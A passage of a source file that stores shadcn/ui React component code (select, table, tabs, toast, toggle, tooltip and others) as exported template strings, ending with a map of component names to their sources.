SelectPrimitive.Value\n\nconst SelectTrigger = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Trigger>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Trigger>\n>(({ className, children, ...props }, ref) => (\n <SelectPrimitive.Trigger\n ref={ref}\n className={cn(\n \"flex h-10 w-full items-center justify-between rounded-md border border-gray-200 bg-white px-3 py-2 text-sm ring-offset-white placeholder:text-gray-500 focus:outline-none focus:ring-2 focus:ring-gray-950 focus:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 [&>span]:line-clamp-1 dark:border-gray-800 dark:bg-gray-950 dark:ring-offset-gray-950 dark:placeholder:text-gray-400 dark:focus:ring-gray-300\",\n className\n )}\n {...props}\n >\n {children}\n <SelectPrimitive.Icon asChild>\n <ChevronDown className=\"h-4 w-4 opacity-50\" />\n </SelectPrimitive.Icon>\n </SelectPrimitive.Trigger>\n))\nSelectTrigger.displayName = SelectPrimitive.Trigger.displayName\n\nconst SelectScrollUpButton = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.ScrollUpButton>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.ScrollUpButton>\n>(({ className, ...props }, ref) => (\n <SelectPrimitive.ScrollUpButton\n ref={ref}\n className={cn(\n \"flex cursor-default items-center justify-center py-1\",\n className\n )}\n {...props}\n >\n <ChevronUp className=\"h-4 w-4\" />\n </SelectPrimitive.ScrollUpButton>\n))\nSelectScrollUpButton.displayName = SelectPrimitive.ScrollUpButton.displayName\n\nconst SelectScrollDownButton = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.ScrollDownButton>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.ScrollDownButton>\n>(({ className, ...props }, ref) => (\n <SelectPrimitive.ScrollDownButton\n ref={ref}\n className={cn(\n \"flex cursor-default items-center justify-center py-1\",\n className\n )}\n {...props}\n >\n <ChevronDown className=\"h-4 w-4\" />\n </SelectPrimitive.ScrollDownButton>\n))\nSelectScrollDownButton.displayName =\n SelectPrimitive.ScrollDownButton.displayName\n\nconst SelectContent = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Content>\n>(({ className, children, position = \"popper\", ...props }, ref) => (\n <SelectPrimitive.Portal>\n <SelectPrimitive.Content\n ref={ref}\n className={cn(\n \"relative z-50 max-h-96 min-w-[8rem] overflow-hidden rounded-md border border-gray-200 bg-white text-gray-950 shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n position === \"popper\" &&\n \"data-[side=bottom]:translate-y-1 data-[side=left]:-translate-x-1 data-[side=right]:translate-x-1 data-[side=top]:-translate-y-1\",\n className\n )}\n position={position}\n {...props}\n >\n <SelectScrollUpButton />\n <SelectPrimitive.Viewport\n className={cn(\n \"p-1\",\n position === \"popper\" &&\n \"h-[var(--radix-select-trigger-height)] w-full min-w-[var(--radix-select-trigger-width)]\"\n )}\n >\n {children}\n </SelectPrimitive.Viewport>\n <SelectScrollDownButton />\n </SelectPrimitive.Content>\n </SelectPrimitive.Portal>\n))\nSelectContent.displayName = SelectPrimitive.Content.displayName\n\nconst SelectLabel = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Label>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Label>\n>(({ className, ...props }, ref) => (\n <SelectPrimitive.Label\n ref={ref}\n className={cn(\"py-1.5 pl-8 pr-2 text-sm font-semibold\", className)}\n {...props}\n />\n))\nSelectLabel.displayName = SelectPrimitive.Label.displayName\n\nconst SelectItem = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Item>\n>(({ className, children, ...props }, ref) => (\n <SelectPrimitive.Item\n ref={ref}\n className={cn(\n \"relative flex w-full cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-gray-100 focus:text-gray-900 data-[disabled]:pointer-events-none data-[disabled]:opacity-50 dark:focus:bg-gray-800 dark:focus:text-gray-50\",\n className\n )}\n {...props}\n >\n <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n <SelectPrimitive.ItemIndicator>\n <Check className=\"h-4 w-4\" />\n </SelectPrimitive.ItemIndicator>\n </span>\n\n <SelectPrimitive.ItemText>{children}</SelectPrimitive.ItemText>\n </SelectPrimitive.Item>\n))\nSelectItem.displayName = SelectPrimitive.Item.displayName\n\nconst SelectSeparator = React.forwardRef<\n React.ElementRef<typeof SelectPrimitive.Separator>,\n React.ComponentPropsWithoutRef<typeof SelectPrimitive.Separator>\n>(({ className, ...props }, ref) => (\n <SelectPrimitive.Separator\n ref={ref}\n className={cn(\"-mx-1 my-1 h-px bg-gray-100 dark:bg-gray-800\", className)}\n {...props}\n />\n))\nSelectSeparator.displayName = SelectPrimitive.Separator.displayName\n\nexport {\n Select,\n SelectGroup,\n SelectValue,\n SelectTrigger,\n SelectContent,\n SelectLabel,\n SelectItem,\n SelectSeparator,\n SelectScrollUpButton,\n SelectScrollDownButton,\n}\n\n`;\nexport const separator = `import * as React from \"react\"\nimport * as SeparatorPrimitive from \"@radix-ui/react-separator\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Separator = React.forwardRef<\n React.ElementRef<typeof SeparatorPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof SeparatorPrimitive.Root>\n>(\n (\n { className, orientation = \"horizontal\", decorative = true, ...props },\n ref\n ) => (\n <SeparatorPrimitive.Root\n ref={ref}\n decorative={decorative}\n orientation={orientation}\n className={cn(\n \"shrink-0 bg-gray-200 dark:bg-gray-800\",\n orientation === \"horizontal\" ? \"h-[1px] w-full\" : \"h-full w-[1px]\",\n className\n )}\n {...props}\n />\n )\n)\nSeparator.displayName = SeparatorPrimitive.Root.displayName\n\nexport { Separator }\n\n`;\nexport const skeleton = `import { cn } from \"../../lib/utils\"\n\nfunction Skeleton({\n className,\n ...props\n}: React.HTMLAttributes<HTMLDivElement>) {\n return (\n <div\n className={cn(\"animate-pulse rounded-md bg-gray-100 dark:bg-gray-800\", className)}\n {...props}\n />\n )\n}\n\nexport { Skeleton }\n`;\nexport const slider = `import * as React from \"react\"\nimport * as SliderPrimitive from \"@radix-ui/react-slider\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Slider = React.forwardRef<\n React.ElementRef<typeof SliderPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof SliderPrimitive.Root>\n>(({ className, ...props }, ref) => (\n <SliderPrimitive.Root\n ref={ref}\n className={cn(\n \"relative flex w-full touch-none select-none items-center\",\n className\n )}\n {...props}\n >\n <SliderPrimitive.Track className=\"relative h-2 w-full grow overflow-hidden rounded-full bg-gray-100 dark:bg-gray-800\">\n <SliderPrimitive.Range className=\"absolute h-full bg-gray-900 dark:bg-gray-50\" />\n </SliderPrimitive.Track>\n <SliderPrimitive.Thumb className=\"block h-5 w-5 rounded-full border-2 border-gray-900 bg-white ring-offset-white transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 dark:border-gray-50 dark:bg-gray-950 dark:ring-offset-gray-950 dark:focus-visible:ring-gray-300\" />\n </SliderPrimitive.Root>\n))\nSlider.displayName = SliderPrimitive.Root.displayName\n\nexport { Slider }\n\n`;\nexport const switchComponent = `import * as React from \"react\"\nimport * as SwitchPrimitives from \"@radix-ui/react-switch\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Switch = React.forwardRef<\n React.ElementRef<typeof SwitchPrimitives.Root>,\n React.ComponentPropsWithoutRef<typeof SwitchPrimitives.Root>\n>(({ className, ...props }, ref) => (\n <SwitchPrimitives.Root\n className={cn(\n \"peer inline-flex h-6 w-11 shrink-0 cursor-pointer items-center rounded-full border-2 border-transparent transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 focus-visible:ring-offset-white disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-gray-900 data-[state=unchecked]:bg-gray-200 dark:focus-visible:ring-gray-300 dark:focus-visible:ring-offset-gray-950 dark:data-[state=checked]:bg-gray-50 dark:data-[state=unchecked]:bg-gray-800\",\n className\n )}\n {...props}\n ref={ref}\n >\n <SwitchPrimitives.Thumb\n className={cn(\n \"pointer-events-none block h-5 w-5 rounded-full bg-white shadow-lg ring-0 transition-transform data-[state=checked]:translate-x-5 data-[state=unchecked]:translate-x-0 dark:bg-gray-950\"\n )}\n />\n </SwitchPrimitives.Root>\n))\nSwitch.displayName = SwitchPrimitives.Root.displayName\n\nexport { Switch }\n\n`;\nexport const table = `import * as React from \"react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Table = React.forwardRef<\n HTMLTableElement,\n React.HTMLAttributes<HTMLTableElement>\n>(({ className, ...props }, ref) => (\n <div className=\"relative w-full overflow-auto\">\n <table\n ref={ref}\n className={cn(\"w-full caption-bottom text-sm\", className)}\n {...props}\n />\n </div>\n))\nTable.displayName = \"Table\"\n\nconst TableHeader = React.forwardRef<\n HTMLTableSectionElement,\n React.HTMLAttributes<HTMLTableSectionElement>\n>(({ className, ...props }, ref) => (\n <thead ref={ref} className={cn(\"[&_tr]:border-b\", className)} {...props} />\n))\nTableHeader.displayName = \"TableHeader\"\n\nconst TableBody = React.forwardRef<\n HTMLTableSectionElement,\n React.HTMLAttributes<HTMLTableSectionElement>\n>(({ className, ...props }, ref) => (\n <tbody\n ref={ref}\n className={cn(\"[&_tr:last-child]:border-0\", className)}\n {...props}\n />\n))\nTableBody.displayName = \"TableBody\"\n\nconst TableFooter = React.forwardRef<\n HTMLTableSectionElement,\n React.HTMLAttributes<HTMLTableSectionElement>\n>(({ className, ...props }, ref) => (\n <tfoot\n ref={ref}\n className={cn(\n \"border-t bg-gray-100/50 font-medium [&>tr]:last:border-b-0 dark:bg-gray-800/50\",\n className\n )}\n {...props}\n />\n))\nTableFooter.displayName = \"TableFooter\"\n\nconst TableRow = React.forwardRef<\n HTMLTableRowElement,\n React.HTMLAttributes<HTMLTableRowElement>\n>(({ className, ...props }, ref) => (\n <tr\n ref={ref}\n className={cn(\n \"border-b transition-colors hover:bg-gray-100/50 data-[state=selected]:bg-gray-100 dark:hover:bg-gray-800/50 dark:data-[state=selected]:bg-gray-800\",\n className\n )}\n {...props}\n />\n))\nTableRow.displayName = \"TableRow\"\n\nconst TableHead = React.forwardRef<\n HTMLTableCellElement,\n React.ThHTMLAttributes<HTMLTableCellElement>\n>(({ className, ...props }, ref) => (\n <th\n ref={ref}\n className={cn(\n \"h-12 px-4 text-left align-middle font-medium text-gray-500 [&:has([role=checkbox])]:pr-0 dark:text-gray-400\",\n className\n )}\n {...props}\n />\n))\nTableHead.displayName = \"TableHead\"\n\nconst TableCell = React.forwardRef<\n HTMLTableCellElement,\n React.TdHTMLAttributes<HTMLTableCellElement>\n>(({ className, ...props }, ref) => (\n <td\n ref={ref}\n className={cn(\"p-4 align-middle [&:has([role=checkbox])]:pr-0\", className)}\n {...props}\n />\n))\nTableCell.displayName = \"TableCell\"\n\nconst TableCaption = React.forwardRef<\n HTMLTableCaptionElement,\n React.HTMLAttributes<HTMLTableCaptionElement>\n>(({ className, ...props }, ref) => (\n <caption\n ref={ref}\n className={cn(\"mt-4 text-sm text-gray-500 dark:text-gray-400\", className)}\n {...props}\n />\n))\nTableCaption.displayName = \"TableCaption\"\n\nexport {\n Table,\n TableHeader,\n TableBody,\n TableFooter,\n TableHead,\n TableRow,\n TableCell,\n TableCaption,\n}\n\n`;\nexport const tabs = `import * as React from \"react\"\nimport * as TabsPrimitive from \"@radix-ui/react-tabs\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Tabs = TabsPrimitive.Root\n\nconst TabsList = React.forwardRef<\n React.ElementRef<typeof TabsPrimitive.List>,\n React.ComponentPropsWithoutRef<typeof TabsPrimitive.List>\n>(({ className, ...props }, ref) => (\n <TabsPrimitive.List\n ref={ref}\n className={cn(\n \"inline-flex h-10 items-center justify-center rounded-md bg-gray-100 p-1 text-gray-500 dark:bg-gray-800 dark:text-gray-400\",\n className\n )}\n {...props}\n />\n))\nTabsList.displayName = TabsPrimitive.List.displayName\n\nconst TabsTrigger = React.forwardRef<\n React.ElementRef<typeof TabsPrimitive.Trigger>,\n React.ComponentPropsWithoutRef<typeof TabsPrimitive.Trigger>\n>(({ className, ...props }, ref) => (\n <TabsPrimitive.Trigger\n ref={ref}\n className={cn(\n \"inline-flex items-center justify-center whitespace-nowrap rounded-sm px-3 py-1.5 text-sm font-medium ring-offset-white transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-white data-[state=active]:text-gray-950 data-[state=active]:shadow-sm dark:ring-offset-gray-950 dark:focus-visible:ring-gray-300 dark:data-[state=active]:bg-gray-950 dark:data-[state=active]:text-gray-50\",\n className\n )}\n {...props}\n />\n))\nTabsTrigger.displayName = TabsPrimitive.Trigger.displayName\n\nconst TabsContent = React.forwardRef<\n React.ElementRef<typeof TabsPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof TabsPrimitive.Content>\n>(({ className, ...props }, ref) => (\n <TabsPrimitive.Content\n ref={ref}\n className={cn(\n \"mt-2 ring-offset-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 dark:ring-offset-gray-950 dark:focus-visible:ring-gray-300\",\n className\n )}\n {...props}\n />\n))\nTabsContent.displayName = TabsPrimitive.Content.displayName\n\nexport { Tabs, TabsList, TabsTrigger, TabsContent }\n\n`;\nexport const textarea = `import * as React from \"react\"\n\nimport { cn } from \"../../lib/utils\"\n\nexport interface TextareaProps\n extends React.TextareaHTMLAttributes<HTMLTextAreaElement> {}\n\nconst Textarea = React.forwardRef<HTMLTextAreaElement, TextareaProps>(\n ({ className, ...props }, ref) => {\n return (\n <textarea\n className={cn(\n \"flex min-h-[80px] w-full rounded-md border border-gray-200 bg-white px-3 py-2 text-sm ring-offset-white placeholder:text-gray-500 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 dark:border-gray-800 dark:bg-gray-950 dark:ring-offset-gray-950 dark:placeholder:text-gray-400 dark:focus-visible:ring-gray-300\",\n className\n )}\n ref={ref}\n {...props}\n />\n )\n }\n)\nTextarea.displayName = \"Textarea\"\n\nexport { Textarea }\n\n`;\nexport const toast = `import * as React from \"react\"\nimport * as ToastPrimitives from \"@radix-ui/react-toast\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\nimport { X } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst ToastProvider = ToastPrimitives.Provider\n\nconst ToastViewport = React.forwardRef<\n React.ElementRef<typeof ToastPrimitives.Viewport>,\n React.ComponentPropsWithoutRef<typeof ToastPrimitives.Viewport>\n>(({ className, ...props }, ref) => (\n <ToastPrimitives.Viewport\n ref={ref}\n className={cn(\n \"fixed top-0 z-[100] flex max-h-screen w-full flex-col-reverse p-4 sm:bottom-0 sm:right-0 sm:top-auto sm:flex-col md:max-w-[420px]\",\n className\n )}\n {...props}\n />\n))\nToastViewport.displayName = ToastPrimitives.Viewport.displayName\n\nconst toastVariants = cva(\n \"group pointer-events-auto relative flex w-full items-center justify-between space-x-4 overflow-hidden rounded-md border border-gray-200 p-6 pr-8 shadow-lg transition-all data-[swipe=cancel]:translate-x-0 data-[swipe=end]:translate-x-[var(--radix-toast-swipe-end-x)] data-[swipe=move]:translate-x-[var(--radix-toast-swipe-move-x)] data-[swipe=move]:transition-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[swipe=end]:animate-out data-[state=closed]:fade-out-80 data-[state=closed]:slide-out-to-right-full data-[state=open]:slide-in-from-top-full data-[state=open]:sm:slide-in-from-bottom-full dark:border-gray-800\",\n {\n variants: {\n variant: {\n default: \"border bg-white text-gray-950 dark:bg-gray-950 dark:text-gray-50\",\n destructive:\n \"destructive group border-red-500 bg-red-500 text-gray-50 dark:border-red-900 dark:bg-red-900 dark:text-gray-50\",\n },\n },\n defaultVariants: {\n variant: \"default\",\n },\n }\n)\n\nconst Toast = React.forwardRef<\n React.ElementRef<typeof ToastPrimitives.Root>,\n React.ComponentPropsWithoutRef<typeof ToastPrimitives.Root> &\n VariantProps<typeof toastVariants>\n>(({ className, variant, ...props }, ref) => {\n return (\n <ToastPrimitives.Root\n ref={ref}\n className={cn(toastVariants({ variant }), className)}\n {...props}\n />\n )\n})\nToast.displayName = ToastPrimitives.Root.displayName\n\nconst ToastAction = React.forwardRef<\n React.ElementRef<typeof ToastPrimitives.Action>,\n React.ComponentPropsWithoutRef<typeof ToastPrimitives.Action>\n>(({ className, ...props }, ref) => (\n <ToastPrimitives.Action\n ref={ref}\n className={cn(\n \"inline-flex h-8 shrink-0 items-center justify-center rounded-md border border-gray-200 bg-transparent px-3 text-sm font-medium ring-offset-white transition-colors hover:bg-gray-100 focus:outline-none focus:ring-2 focus:ring-gray-950 focus:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 group-[.destructive]:border-gray-100/40 group-[.destructive]:hover:border-red-500/30 group-[.destructive]:hover:bg-red-500 group-[.destructive]:hover:text-gray-50 group-[.destructive]:focus:ring-red-500 dark:border-gray-800 dark:ring-offset-gray-950 dark:hover:bg-gray-800 dark:focus:ring-gray-300 dark:group-[.destructive]:border-gray-800/40 dark:group-[.destructive]:hover:border-red-900/30 dark:group-[.destructive]:hover:bg-red-900 dark:group-[.destructive]:hover:text-gray-50 dark:group-[.destructive]:focus:ring-red-900\",\n className\n )}\n {...props}\n />\n))\nToastAction.displayName = ToastPrimitives.Action.displayName\n\nconst ToastClose = React.forwardRef<\n React.ElementRef<typeof ToastPrimitives.Close>,\n React.ComponentPropsWithoutRef<typeof ToastPrimitives.Close>\n>(({ className, ...props }, ref) => (\n <ToastPrimitives.Close\n ref={ref}\n className={cn(\n \"absolute right-2 top-2 rounded-md p-1 text-gray-950/50 opacity-0 transition-opacity hover:text-gray-950 focus:opacity-100 focus:outline-none focus:ring-2 group-hover:opacity-100 group-[.destructive]:text-red-300 group-[.destructive]:hover:text-red-50 group-[.destructive]:focus:ring-red-400 group-[.destructive]:focus:ring-offset-red-600 dark:text-gray-50/50 dark:hover:text-gray-50\",\n className\n )}\n toast-close=\"\"\n {...props}\n >\n <X className=\"h-4 w-4\" />\n </ToastPrimitives.Close>\n))\nToastClose.displayName = ToastPrimitives.Close.displayName\n\nconst ToastTitle = React.forwardRef<\n React.ElementRef<typeof ToastPrimitives.Title>,\n React.ComponentPropsWithoutRef<typeof ToastPrimitives.Title>\n>(({ className, ...props }, ref) => (\n <ToastPrimitives.Title\n ref={ref}\n className={cn(\"text-sm font-semibold\", className)}\n {...props}\n />\n))\nToastTitle.displayName = ToastPrimitives.Title.displayName\n\nconst ToastDescription = React.forwardRef<\n React.ElementRef<typeof ToastPrimitives.Description>,\n React.ComponentPropsWithoutRef<typeof ToastPrimitives.Description>\n>(({ className, ...props }, ref) => (\n <ToastPrimitives.Description\n ref={ref}\n className={cn(\"text-sm opacity-90\", className)}\n {...props}\n />\n))\nToastDescription.displayName = ToastPrimitives.Description.displayName\n\ntype ToastProps = React.ComponentPropsWithoutRef<typeof Toast>\n\ntype ToastActionElement = React.ReactElement<typeof ToastAction>\n\nexport {\n type ToastProps,\n type ToastActionElement,\n ToastProvider,\n ToastViewport,\n Toast,\n ToastTitle,\n ToastDescription,\n ToastClose,\n ToastAction,\n}\n\n`;\nexport const toaster = `import {\n Toast,\n ToastClose,\n ToastDescription,\n ToastProvider,\n ToastTitle,\n ToastViewport,\n} from \"./toast\"\nimport { useToast } from \"./use-toast\"\n\nexport function Toaster() {\n const { toasts } = useToast()\n\n return (\n <ToastProvider>\n {toasts.map(function ({ id, title, description, action, ...props }) {\n return (\n <Toast key={id} {...props}>\n <div className=\"grid gap-1\">\n {title && <ToastTitle>{title}</ToastTitle>}\n {description && (\n <ToastDescription>{description}</ToastDescription>\n )}\n </div>\n {action}\n <ToastClose />\n </Toast>\n )\n })}\n <ToastViewport />\n </ToastProvider>\n )\n}\n\n`;\nexport const toggleGroup = `import * as React from \"react\"\nimport * as ToggleGroupPrimitive from \"@radix-ui/react-toggle-group\"\nimport { type VariantProps } from \"class-variance-authority\"\n\nimport { cn } from \"../../lib/utils\"\nimport { toggleVariants } from \"./toggle\"\n\nconst ToggleGroupContext = React.createContext<\n VariantProps<typeof toggleVariants>\n>({\n size: \"default\",\n variant: \"default\",\n})\n\nconst ToggleGroup = React.forwardRef<\n React.ElementRef<typeof ToggleGroupPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof ToggleGroupPrimitive.Root> &\n VariantProps<typeof toggleVariants>\n>(({ className, variant, size, children, ...props }, ref) => (\n <ToggleGroupPrimitive.Root\n ref={ref}\n className={cn(\"flex items-center justify-center gap-1\", className)}\n {...props}\n >\n <ToggleGroupContext.Provider value={{ variant, size }}>\n {children}\n </ToggleGroupContext.Provider>\n </ToggleGroupPrimitive.Root>\n))\n\nToggleGroup.displayName = ToggleGroupPrimitive.Root.displayName\n\nconst ToggleGroupItem = React.forwardRef<\n React.ElementRef<typeof ToggleGroupPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof ToggleGroupPrimitive.Item> &\n VariantProps<typeof toggleVariants>\n>(({ className, children, variant, size, ...props }, ref) => {\n const context = React.useContext(ToggleGroupContext)\n\n return (\n <ToggleGroupPrimitive.Item\n ref={ref}\n className={cn(\n toggleVariants({\n variant: context.variant || variant,\n size: context.size || size,\n }),\n className\n )}\n {...props}\n >\n {children}\n </ToggleGroupPrimitive.Item>\n )\n})\n\nToggleGroupItem.displayName = ToggleGroupPrimitive.Item.displayName\n\nexport { ToggleGroup, ToggleGroupItem }\n\n`;\nexport const toggle = `import * as React from \"react\"\nimport * as TogglePrimitive from \"@radix-ui/react-toggle\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst toggleVariants = cva(\n \"inline-flex items-center justify-center rounded-md text-sm font-medium ring-offset-white transition-colors hover:bg-gray-100 hover:text-gray-500 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=on]:bg-gray-100 data-[state=on]:text-gray-900 dark:ring-offset-gray-950 dark:hover:bg-gray-800 dark:hover:text-gray-400 dark:focus-visible:ring-gray-300 dark:data-[state=on]:bg-gray-800 dark:data-[state=on]:text-gray-50\",\n {\n variants: {\n variant: {\n default: \"bg-transparent\",\n outline:\n \"border border-gray-200 bg-transparent hover:bg-gray-100 hover:text-gray-900 dark:border-gray-800 dark:hover:bg-gray-800 dark:hover:text-gray-50\",\n },\n size: {\n default: \"h-10 px-3\",\n sm: \"h-9 px-2.5\",\n lg: \"h-11 px-5\",\n },\n },\n defaultVariants: {\n variant: \"default\",\n size: \"default\",\n },\n }\n)\n\nconst Toggle = React.forwardRef<\n React.ElementRef<typeof TogglePrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof TogglePrimitive.Root> &\n VariantProps<typeof toggleVariants>\n>(({ className, variant, size, ...props }, ref) => (\n <TogglePrimitive.Root\n ref={ref}\n className={cn(toggleVariants({ variant, size, className }))}\n {...props}\n />\n))\n\nToggle.displayName = TogglePrimitive.Root.displayName\n\nexport { Toggle, toggleVariants }\n\n`;\nexport const tooltip = `import * as React from \"react\"\nimport * as TooltipPrimitive from \"@radix-ui/react-tooltip\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst TooltipProvider = TooltipPrimitive.Provider\n\nconst Tooltip = TooltipPrimitive.Root\n\nconst TooltipTrigger = TooltipPrimitive.Trigger\n\nconst TooltipContent = React.forwardRef<\n React.ElementRef<typeof TooltipPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof TooltipPrimitive.Content>\n>(({ className, sideOffset = 4, ...props }, ref) => (\n <TooltipPrimitive.Content\n ref={ref}\n sideOffset={sideOffset}\n className={cn(\n \"z-50 overflow-hidden rounded-md border border-gray-200 bg-white px-3 py-1.5 text-sm text-gray-950 shadow-md animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n {...props}\n />\n))\nTooltipContent.displayName = TooltipPrimitive.Content.displayName\n\nexport { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider }\n\n`;\nexport const useToast = `import * as React from \"react\"\n\nimport type {\n ToastActionElement,\n ToastProps,\n} from \"./toast\"\n\nconst TOAST_LIMIT = 1\nconst TOAST_REMOVE_DELAY = 1000000\n\ntype ToasterToast = ToastProps & {\n id: string\n title?: React.ReactNode\n description?: React.ReactNode\n action?: ToastActionElement\n}\n\nconst actionTypes = {\n ADD_TOAST: \"ADD_TOAST\",\n UPDATE_TOAST: \"UPDATE_TOAST\",\n DISMISS_TOAST: \"DISMISS_TOAST\",\n REMOVE_TOAST: \"REMOVE_TOAST\",\n} as const\n\nlet count = 0\n\nfunction genId() {\n count = (count + 1) % Number.MAX_SAFE_INTEGER\n return count.toString()\n}\n\ntype ActionType = typeof actionTypes\n\ntype Action =\n | {\n type: ActionType[\"ADD_TOAST\"]\n toast: ToasterToast\n }\n | {\n type: ActionType[\"UPDATE_TOAST\"]\n toast: Partial<ToasterToast>\n }\n | {\n type: ActionType[\"DISMISS_TOAST\"]\n toastId?: ToasterToast[\"id\"]\n }\n | {\n type: ActionType[\"REMOVE_TOAST\"]\n toastId?: ToasterToast[\"id\"]\n }\n\ninterface State {\n toasts: ToasterToast[]\n}\n\nconst toastTimeouts = new Map<string, ReturnType<typeof setTimeout>>()\n\nconst addToRemoveQueue = (toastId: string) => {\n if (toastTimeouts.has(toastId)) {\n return\n }\n\n const timeout = setTimeout(() => {\n toastTimeouts.delete(toastId)\n dispatch({\n type: \"REMOVE_TOAST\",\n toastId: toastId,\n })\n }, TOAST_REMOVE_DELAY)\n\n toastTimeouts.set(toastId, timeout)\n}\n\nexport const reducer = (state: State, action: Action): State => {\n switch (action.type) {\n case \"ADD_TOAST\":\n return {\n ...state,\n toasts: [action.toast, ...state.toasts].slice(0, TOAST_LIMIT),\n }\n\n case \"UPDATE_TOAST\":\n return {\n ...state,\n toasts: state.toasts.map((t) =>\n t.id === action.toast.id ? { ...t, ...action.toast } : t\n ),\n }\n\n case \"DISMISS_TOAST\": {\n const { toastId } = action\n\n // ! Side effects ! - This could be extracted into a dismissToast() action,\n // but I'll keep it here for simplicity\n if (toastId) {\n addToRemoveQueue(toastId)\n } else {\n state.toasts.forEach((toast) => {\n addToRemoveQueue(toast.id)\n })\n }\n\n return {\n ...state,\n toasts: state.toasts.map((t) =>\n t.id === toastId || toastId === undefined\n ? {\n ...t,\n open: false,\n }\n : t\n ),\n }\n }\n case \"REMOVE_TOAST\":\n if (action.toastId === undefined) {\n return {\n ...state,\n toasts: [],\n }\n }\n return {\n ...state,\n toasts: state.toasts.filter((t) => t.id !== action.toastId),\n }\n }\n}\n\nconst listeners: Array<(state: State) => void> = []\n\nlet memoryState: State = { toasts: [] }\n\nfunction dispatch(action: Action) {\n memoryState = reducer(memoryState, action)\n listeners.forEach((listener) => {\n listener(memoryState)\n })\n}\n\ntype Toast = Omit<ToasterToast, \"id\">\n\nfunction toast({ ...props }: Toast) {\n const id = genId()\n\n const update = (props: ToasterToast) =>\n dispatch({\n type: \"UPDATE_TOAST\",\n toast: { ...props, id },\n })\n const dismiss = () => dispatch({ type: \"DISMISS_TOAST\", toastId: id })\n\n dispatch({\n type: \"ADD_TOAST\",\n toast: {\n ...props,\n id,\n open: true,\n onOpenChange: (open) => {\n if (!open) dismiss()\n },\n },\n })\n\n return {\n id: id,\n dismiss,\n update,\n }\n}\n\nfunction useToast() {\n const [state, setState] = React.useState<State>(memoryState)\n\n React.useEffect(() => {\n listeners.push(setState)\n return () => {\n const index = listeners.indexOf(setState)\n if (index > -1) {\n listeners.splice(index, 1)\n }\n }\n }, [state])\n\n return {\n ...state,\n toast,\n dismiss: (toastId?: string) => dispatch({ type: \"DISMISS_TOAST\", toastId }),\n }\n}\n\nexport { useToast, toast }\n`;\n\nexport const shadcnComponents = {\n utils: utils,\n accordian: accordian,\n alertDialog: alertDialog,\n alert: alert,\n avatar: avatar,\n badge: badge,\n breadcrumb: breadcrumb,\n button: button,\n calendar: calendar,\n card: card,\n carousel: carousel,\n checkbox: checkbox,\n collapsible: collapsible,\n dialog: dialog,\n drawer: drawer,\n dropdownMenu: dropdownMenu,\n hoverCard: hoverCard,\n input: input,\n label: label,\n menuBar: menuBar,\n navigationMenu: navigationMenu,\n pagination: pagination,\n popover: popover,\n progress: progress,\n radioGroup: radioGroup,\n select: select,\n separator: separator,\n skeleton: skeleton,\n slider: slider,\n switchComponent: switchComponent,\n table: table,\n tabs: tabs,\n textarea: textarea,\n toast: toast,\n toaster: toaster,\n toggleGroup: toggleGroup,\n toggle: toggle,\n tooltip: tooltip,\n useToast: 